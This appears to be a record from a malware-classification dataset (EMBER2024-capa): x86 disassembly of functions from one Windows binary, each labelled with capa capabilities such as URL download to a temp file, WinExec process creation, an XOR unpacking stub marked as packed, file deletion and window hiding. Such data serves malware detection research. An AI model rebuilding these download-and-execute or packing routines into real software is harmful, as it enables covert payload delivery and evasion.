joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4dd4e0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff4
mov ecx, dword [eax]
mov dword [edx], ecx
lea ecx, [eax + 4]
mov ecx, dword [ecx]
mov dword [edx + 4], ecx
lea ecx, [eax + 8]
mov ecx, dword [ecx]
mov dword [edx + 8], ecx
lea ecx, [eax + 0xc]
mov ecx, dword [ecx]
mov dword [edx + 0xc], ecx
lea ecx, [eax + 0x10]
mov ecx, dword [ecx]
mov dword [edx + 0x10], ecx
lea ecx, [eax + 0x14]
mov ecx, dword [ecx]
mov dword [edx + 0x14], ecx
lea ecx, [eax + 0x18]
mov ecx, dword [ecx]
mov dword [edx + 0x18], ecx
add eax, 0x1c
mov eax, dword [eax]
mov dword [edx + 0x1c], eax
xor eax, eax
mov dword [esp], 1
mov ecx, dword [edx + eax*4 + 0x1c]
mov edi, ecx
shl edi, 0x18
shr ecx, 8
or edi, ecx
mov ecx, edi
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x4ef28c]
mov dword [esp + 4], ecx
mov ecx, edi
shr ecx, 8
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x4ef28c]
mov ebx, edi
shr ebx, 0x10
and ebx, 0xff
mov esi, dword [ebx*4 + 0x4ef28c]
mov ebx, edi
shr ebx, 0x18
and ebx, 0xff
mov ebx, dword [ebx*4 + 0x4ef28c]
mov dword [esp + 8], ebx
mov ebx, ecx
shl ebx, 8
shr ecx, 0x18
or ebx, ecx
xor ebx, dword [esp + 4]
mov ecx, esi
shl ecx, 0x10
shr esi, 0x10
or ecx, esi
xor ebx, ecx
mov ecx, dword [esp + 8]
shl ecx, 0x18
mov esi, dword [esp + 8]
shr esi, 8
or ecx, esi
xor ebx, ecx
xor ebx, dword [edx + eax*4]
mov ecx, dword [esp]
xor ebx, dword [ecx*4 + 0x4ef210]
mov dword [edx + eax*4 + 0x20], ebx
inc dword [esp]
mov ecx, dword [edx + eax*4 + 4]
xor ecx, dword [edx + eax*4 + 0x20]
mov dword [edx + eax*4 + 0x24], ecx
mov ebx, dword [edx + eax*4 + 8]
xor ebx, ecx
mov dword [edx + eax*4 + 0x28], ebx
mov edi, dword [edx + eax*4 + 0xc]
xor edi, ebx
mov dword [edx + eax*4 + 0x2c], edi
xor ecx, ecx
mov cl, byte [edx + eax*4 + 0x2c]
mov ecx, dword [ecx*4 + 0x4ef28c]
mov dword [esp + 4], ecx
mov ecx, edi
shr ecx, 8
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x4ef28c]
mov ebx, edi
shr ebx, 0x10
and ebx, 0xff
mov esi, dword [ebx*4 + 0x4ef28c]
mov ebx, edi
shr ebx, 0x18
and ebx, 0xff
mov ebx, dword [ebx*4 + 0x4ef28c]
mov dword [esp + 8], ebx
mov ebx, ecx
shl ebx, 8
shr ecx, 0x18
or ebx, ecx
xor ebx, dword [esp + 4]
mov ecx, esi
shl ecx, 0x10
shr esi, 0x10
or ecx, esi
xor ebx, ecx
mov ecx, dword [esp + 8]
shl ecx, 0x18
mov esi, dword [esp + 8]
shr esi, 8
or ecx, esi
xor ebx, ecx
xor ebx, dword [edx + eax*4 + 0x10]
mov dword [edx + eax*4 + 0x30], ebx
mov ecx, dword [edx + eax*4 + 0x14]
xor ecx, dword [edx + eax*4 + 0x30]
mov dword [edx + eax*4 + 0x34], ecx
mov ebx, dword [edx + eax*4 + 0x18]
xor ebx, ecx
mov dword [edx + eax*4 + 0x38], ebx
mov ecx, dword [edx + eax*4 + 0x1c]
xor ecx, ebx
mov dword [edx + eax*4 + 0x3c], ecx
add eax, 8
cmp eax, 0x34
jl 0x4dd52b
add esp, 0xc
pop edi
pop esi
pop ebx
ret
Function at 0x4e8210
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef4
mov ebx, ecx
push esp
push edx
push eax
call sub.shell32.dll_SHGetSpecialFolderLocation
lea eax, [esp + 4]
push eax
mov eax, dword [esp + 4]
push eax
call sub.shell32.dll_SHGetPathFromIDListA
mov edx, ebx
lea eax, [esp + 4]
call fcn.00409ab4
add esp, 0x10c
pop ebx
ret

Function at 0x4e8244
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x128], ecx
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x120], ecx
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040479c
xor eax, eax
push ebp
push 0x4e843d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00404340
lea ecx, [ebp - 0x11c]
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00433a10
mov eax, dword [ebp - 0x11c]
mov edx, 0x4e8454
call fcn.004046f8
jne 0x4e83f0
mov ecx, 2
mov edx, dword [ebp - 4]
mov eax, 0x4e8454
call fcn.00433a80
test eax, eax
jle 0x4e83f0
mov eax, 0x18
mov edi, eax
test edi, edi
jl 0x4e83f0
inc edi
mov dword [ebp - 8], 0
mov ebx, 0x4efecc
push 0x4e8454
push dword [ebx]
push 0x4e8454
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.0040466c
mov edx, dword [esi]
mov eax, dword [ebp - 0x10]
call fcn.004339c4
test al, al
je 0x4e83e3
mov eax, dword [ebp - 8]
sub eax, 1
jb 0x4e832e
je 0x4e834f
dec eax
je 0x4e8370
jmp 0x4e8391
push 0x105
lea eax, [ebp - 0x115]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea edx, [ebp - 0xc]
lea eax, [ebp - 0x115]
call fcn.00409ab4
jmp 0x4e839e
push 0x105
lea eax, [ebp - 0x115]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea edx, [ebp - 0xc]
lea eax, [ebp - 0x115]
call fcn.00409ab4
jmp 0x4e839e
lea eax, [ebp - 0x115]
push eax
push 0x105
call sub.kernel32.dll_GetTempPathA
lea edx, [ebp - 0xc]
lea eax, [ebp - 0x115]
call fcn.00409ab4
jmp 0x4e839e
lea ecx, [ebp - 0xc]
mov edx, dword [ebx + 4]
xor eax, eax
call fcn.004e8210
lea edx, [ebp - 0x120]
mov eax, dword [ebp - 0xc]
call fcn.0040d7d8
mov edx, dword [ebp - 0x120]
lea eax, [ebp - 0xc]
call fcn.00404384
mov al, byte [0x4e8458]
push eax
lea eax, [ebp - 0x124]
push eax
mov eax, dword [esi]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
call fcn.0040dfb4
mov edx, dword [ebp - 0x124]
mov eax, esi
call fcn.00404340
jmp 0x4e83f0
inc dword [ebp - 8]
add ebx, 8
dec edi
jne 0x4e82f4
lea edx, [ebp - 0x128]
mov eax, dword [esi]
call fcn.004097bc
mov edx, dword [ebp - 0x128]
mov eax, esi
call fcn.00404340
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e8444
lea eax, [ebp - 0x128]
mov edx, 4
call fcn.00404310
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00404310
lea eax, [ebp - 4]
call fcn.004042ec
ret

Function at 0x4e84f0
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, eax
push esp
push 0x105
call sub.kernel32.dll_GetTempPathA
mov edx, ebx
mov eax, esp
call fcn.00409ab4
add esp, 0x108
pop ebx
ret
Function at 0x4e8518
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor edx, edx
mov dword [ebp - 0x10c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4e8593
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x105]
push eax
push 0
push 0
lea eax, [ebp - 0x10c]
call fcn.004e84f0
mov eax, dword [ebp - 0x10c]
call fcn.004047ac
push eax
call sub.kernel32.dll_GetTempFileNameA
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_DeleteFileA
mov edx, ebx
lea eax, [ebp - 0x105]
call fcn.00409ab4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e859a
lea eax, [ebp - 0x10c]
call fcn.004042ec
ret

Function at 0x4e87b4
Capabilities:
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
call fcn.004093cc
test al, al
je 0x4e87ed
push 0
mov eax, dword [ebp + 8]
call fcn.004047ac
mov ebx, eax
push ebx
call sub.kernel32.dll_SetFileAttributesA
push ebx
call sub.kernel32.dll_DeleteFileA
xor eax, eax
push ebp
push 0x4e8865
push dword fs:[eax]
mov dword fs:[eax], esp
push edi
mov eax, dword [ebp - 4]
call fcn.004047ac
push eax
mov ecx, esi
mov dl, 1
mov eax, dword [0x418700]
call fcn.0041df4c
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4e8845
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
call fcn.0041dbc4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e884c
lea eax, [ebp - 0xc]
call fcn.0040e67c
ret
Function at 0x4e8f9c
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0xc], ebx
test dl, dl
je 0x4e8fb9
add esp, 0xfffffff0
call fcn.0040373c
mov ebx, ecx
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4e9165
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, dword [ebp - 4]
call fcn.004033e8
lea edx, [ebp - 0x14]
mov eax, ebx
call fcn.00408a88
cmp dword [ebp - 0x14], 0
je 0x4e9147
mov eax, ebx
call fcn.004093cc
test al, al
jne 0x4e9048
lea eax, [ebp - 0xc]
call fcn.004e8518
xor eax, eax
push ebp
push 0x4e903c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.004047ac
mov esi, eax
push esi
call sub.wininet.dll_DeleteUrlCacheEntry
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.004047ac
push eax
push esi
push 0
call sub.URLMON.DLL_URLDownloadToFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4e9052
lea eax, [ebp - 0xc]
mov edx, ebx
call fcn.00404384
mov eax, dword [ebp - 0xc]
call fcn.004093cc
test al, al
je 0x4e9147
mov ecx, dword [ebp - 0xc]
mov dl, 1
mov eax, dword [0x433e88]
call fcn.00433f38
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x4e9132
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4e90b4
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
mov ecx, 0x4e9198
mov edx, 0x4e91a8
mov eax, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 8]
mov edx, dword [ebp - 4]
mov byte [edx + 0x30], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4e90c5
mov eax, dword [ebp - 4]
mov al, byte [eax + 0x30]
sub al, 1
jb 0x4e90d3
je 0x4e90f2
jmp 0x4e910c
push 0
push 0
mov ecx, 0x4e91a8
mov edx, 0x4e91a8
mov eax, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0x20]
mov eax, dword [ebp - 4]
fstp qword [eax + 0x38]
wait
jmp 0x4e910c
push 1
mov ecx, 0x4e91a8
mov edx, 0x4e91a8
mov eax, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 8]
mov edx, dword [ebp - 4]
mov dword [edx + 0x40], eax
mov ecx, dword [ebp - 4]
mov edx, 0x4e91b8
mov eax, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0x48]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e9139
lea eax, [ebp - 0x10]
call fcn.0040e67c
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e916c
lea eax, [ebp - 0x14]
call fcn.004042ec
lea eax, [ebp - 0xc]
call fcn.004042ec
ret
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x42e030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x46210c
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x46211e
add esp, 0xfffffff0
call fcn.00403ee0
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041de54
mov eax, dword [0x471b28]
mov dword [eax + 4], ebx
mov dword [eax], 0x4624b0
mov eax, dword [0x471b34]
mov dword [eax + 4], ebx
mov dword [eax], 0x4624bc
mov eax, ebx
call fcn.004624c8
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x415a54]
call fcn.00403b8c
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x415a54]
call fcn.00403b8c
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x415a54]
call fcn.00403b8c
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x415a54]
call fcn.00403b8c
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x415a54]
call fcn.00403b8c
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x45d970
push eax
push 0
push 0
mov eax, dword [0x471cb4]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x421bf8]
call fcn.0042344c
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x421bf8]
call fcn.0042344c
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x421bf8]
call fcn.0042344c
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00462940
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x462810
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x462810
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x462810
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x46225b
call fcn.00403f38
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x4625f4
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x46279f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x462780
mov dl, 1
mov eax, dword [0x415e78]
call fcn.00403b8c
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.004049e8
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x46276f
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00453b20
test al, al
je 0x462762
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x4627b0
lea eax, [ebp - 0x254]
call fcn.00409b6c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x462762
xor eax, eax
push ebp
push 0x46275b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x4627e8
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x462744
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404c58
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x462744
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404c58
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x462762
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x462665
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x25], 0
mov dl, 1
call fcn.00419ce8
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4627a6
lea eax, [ebp - 0x260]
call fcn.004049e8
ret

Function at 0x463118
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x476cd0]
cmp byte [eax + 0xad], 0
jne 0x463189
cmp dword [0x476cec], 0
jne 0x46314a
call sub.KERNEL32.DLL_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x4630d4
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x476cec], eax
cmp dword [0x476ce8], 0
jne 0x463165
push 0
push 0
push 0
push 0
call sub.KERNEL32.DLL_CreateEventA
mov dword [0x476ce8], eax
cmp dword [0x476cf0], 0
jne 0x463189
push esp
push 0
push 0
push 0x463078
push 0x3e8
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x476cf0], eax
pop edx
ret
Function at 0x46338c
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x4633a3
add esp, 0xfffffff0
call fcn.00403ee0
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041de54
mov eax, dword [0x471c94]
cmp word [eax + 2], 0
jne 0x4633cb
mov eax, dword [0x471c94]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004650d4
mov eax, dword [0x471d64]
cmp word [eax + 2], 0
jne 0x4633e5
mov eax, dword [0x471d64]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004652e0
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x415a54]
call fcn.00403b8c
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x415a54]
call fcn.00403b8c
mov dword [ebx + 0x98], eax
mov dl, 1
mov eax, dword [0x415a54]
call fcn.00403b8c
mov dword [ebx + 0xb0], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0xa5], 1
mov byte [ebx + 0xbc], 1
mov dl, 1
mov eax, dword [0x422708]
call fcn.00429eb4
mov esi, eax
mov dword [ebx + 0xa0], esi
push 0x46359c
mov eax, dword [0x471b9c]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0042a288
mov eax, dword [ebx + 0xa0]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x4659b4
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x471b9c]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040d3c4
test eax, eax
je 0x4634ec
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00409524
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040d3f8
test eax, eax
je 0x463500
mov byte [eax], 0
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_CharNextA_1
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404c58
mov byte [ebx + 0xd4], 0
push ebx
push 0x464b60
call fcn.0041efd0
mov dword [ebx + 0xc8], eax
mov eax, dword [0x471a5c]
cmp byte [eax], 0
jne 0x463551
mov eax, ebx
call fcn.004636e0
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0xa6], 1
xor eax, eax
mov dword [ebx + 0xa8], eax
mov eax, ebx
call fcn.00465bc8
mov eax, ebx
call fcn.0046672c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x463591
call fcn.00403f38
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x463960
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [ebx + 0x30]
test eax, eax
je 0x4639ff
cmp dword [ebx + 0x94], 0
jne 0x4639f9
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4638e8
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x4639f9
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x4639bf
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x4639f9
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00417df8
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4639ce
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x463c18
Capabilities:
Enumerate gui resources
Hide graphical window

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov eax, dword [0x476cd0]
cmp dword [eax + 0x30], 0
je 0x463d75
test bl, bl
jne 0x463cc6
cmp dword [esi + 0x9c], 0
jne 0x463cbb
mov eax, esi
call fcn.004665a8
push eax
push 0x463b44
call sub.user32.dll_EnumWindows
cmp dword [esi + 0x44], 0
je 0x463c8c
mov eax, dword [0x476cd0]
call fcn.00466c88
test al, al
je 0x463c8c
mov eax, dword [0x476cf4]
call fcn.00405b58
mov edi, eax
cmp edi, 0
jl 0x463c8c
push 0
mov eax, dword [0x476cf4]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x463c76
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x463cbb
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.00417df8
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x463c9b
inc dword [esi + 0x9c]
jmp 0x463d75
cmp dword [esi + 0x9c], 0
jle 0x463d75
dec dword [esi + 0x9c]
cmp dword [esi + 0x9c], 0
jne 0x463d75
cmp dword [esi + 0x44], 0
je 0x463d21
mov eax, dword [0x476cd0]
call fcn.00466c88
test al, al
je 0x463d21
mov eax, dword [0x476cf4]
call fcn.00405b58
mov edi, eax
cmp edi, 0
jl 0x463d21
push 5
mov eax, dword [0x476cf4]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x463d0b
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x463d50
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.00417df8
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x463d30
mov eax, dword [esi + 0x98]
mov edx, dword [eax]
call dword [edx + 8]
push 0
mov eax, 0x476cf4
mov ecx, 1
mov edx, dword [0x463b24]
call fcn.00405d0c
add esp, 4
pop edi
pop esi
pop ebx
ret
Function at 0x46485c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xfffffefc
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x4648c6
mov eax, ebx
call fcn.00466c88
test al, al
jne 0x4648c6
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404ad8
mov eax, dword [esi]
mov dword [esp + 0x100], eax
mov eax, dword [esp + 0x100]
test eax, eax
je 0x4648b3
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x4648d3
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404a3c
jmp 0x4648d3
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404a3c
add esp, 0x104
pop esi
pop ebx
ret

Function at 0x465dac
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x465e1a
mov eax, esi
call fcn.0044e708
test al, al
je 0x465e1a
mov eax, dword [ebx + 0x84]
call fcn.0044e368
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x465e1a
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xf0]
test al, al
je 0x465e0e
push 0
mov eax, dword [ebx + 0x84]
call fcn.0044e368
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.004461d8
jmp 0x465e1a
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.00465be8
pop esi
pop ebx
ret